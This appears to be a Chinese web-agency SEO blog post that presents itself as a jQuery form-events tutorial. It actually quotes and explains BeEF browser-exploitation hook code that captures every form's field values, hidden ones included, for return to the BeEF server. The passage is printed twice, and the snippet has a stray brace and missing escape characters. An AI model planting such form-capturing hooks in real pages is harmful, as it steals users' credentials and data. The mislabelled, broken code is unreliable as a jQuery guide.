浅谈jQuery中使用表单事件的应用方法

       除了对所有元素监听键盘事件外,BeEF还针对所有<>(注:form 在尖括号里面)

元素提供了自定义逻辑。通过使用jQuery的元素选择器,执行下面的代码,会在当前DOM中的所有表单的submit事件上绑定beef.logger.submit()函数,下面

小编就来为大家介绍一下其具体做法。

       $j('form').submit(
       function(e) { beef.logger.submit(e); }
       });
       beef.logger.submit()函数通过遍历表单,取出所有输入框的值(包括隐藏元素),然后把它们发送回BeEF服务器:
       /*** 只要有表单提交,就将激发submit函数*/
       submit: function(e) {
       try {
       var f = new beef.logger.e();
       var values = "";
       f.type = 'submit';
       f.target = beef.logger.get_dom_identifier(e.target);
       for (var i = 0; i < e.target.elements.length; i++) {
       values += "["+i+"]";
       values +=e.target.elements[i].name;
       values +="="+e.target.elements[i].value+"n";
       }
       f.data = 'Action: '+$j(e.target).attr('action');
       f.data += ' - Method: '+$j(e.target).attr('method');
       f.data += ' - Values:n'+values;
       this.events.push(f);
       } catch(e) {}
       }
       beef.logger.e定义了一种简单的事件结构,它可以兼容各种事件类型,比如鼠标事件、键盘事件等,便于将各种事件以统一的形式传回BeEF服务器。函数中的for循环用于遍历表单中所有的子元素。有一点需要注意,这段代码并未考虑表单字段中存在disabled属性的情形。
       以上就是南昌网络公司-易速网络小编为大家介绍的关于jQuery中使用表单事件的应用方法,如还有哪些不明白的地方,可随时来电咨询,我们将竭诚为您服务。此外,如有需要南昌网站建设、微信开发、手机APP开发等方面的服务,欢迎大家和我们联系,易速网络随时为您效劳!

       $j('form').submit(

       function(e) { beef.logger.submit(e); }

       });

       beef.logger.submit()函数通过遍历表单,取出所有输入框的值(包括隐藏元素),然后把它们发送回BeEF服务器:

       /**

* 只要有表单提交,就将激发submit函数

*/

       submit: function(e) {

       try {

       var f = new beef.logger.e();

       var values = "";

       f.type = 'submit';

       f.target = beef.logger.get_dom_identifier(e.target);

       for (var i = 0; i < e.target.elements.length; i++) {

       values += "["+i+"]";

       values +=e.target.elements[i].name;

       values +="="+e.target.elements[i].value+"n";

       }

       f.data = 'Action: '+$j(e.target).attr('action');

       f.data += ' - Method: '+$j(e.target).attr('method');

       f.data += ' - Values:n'+values;

       this.events.push(f);

       } catch(e) {}

       }

       beef.logger.e定义了一种简单的事件结构,它可以兼容各种事件类型,比如鼠标事件、键盘事件等,便于将各种事件以统一的形式传回BeEF服务器。函数中的for循环用于遍历表单中所有的子元素。有一点需要注意,这段代码并未考虑表单字段中存在disabled属性的情形。

       以上就是南昌网络公司-易速网络小编为大家介绍的关于jQuery中使用表单事件的应用方法,如还有哪些不明白的地方,可随时来电咨询,我们将竭诚为您服务。此外,如有需要南昌网站建设、微信开发、手机APP开发等方面的服务,欢迎大家和我们联系,易速网络随时为您效劳!

提供全面的搜索引擎优化学习交流,专注网站优化和搜索引擎营销推广服务。用专业的SEO技术为企业网站提升关键词排名,让你的网站不仅满足用户体验还要适合搜索引擎优化规则。
易速网站优化公司 » 浅谈jQuery中使用表单事件的应用方法
享更多特权,立即登录下载海量资源
喜欢我嘛?喜欢就按“ctrl+D”收藏我吧!♡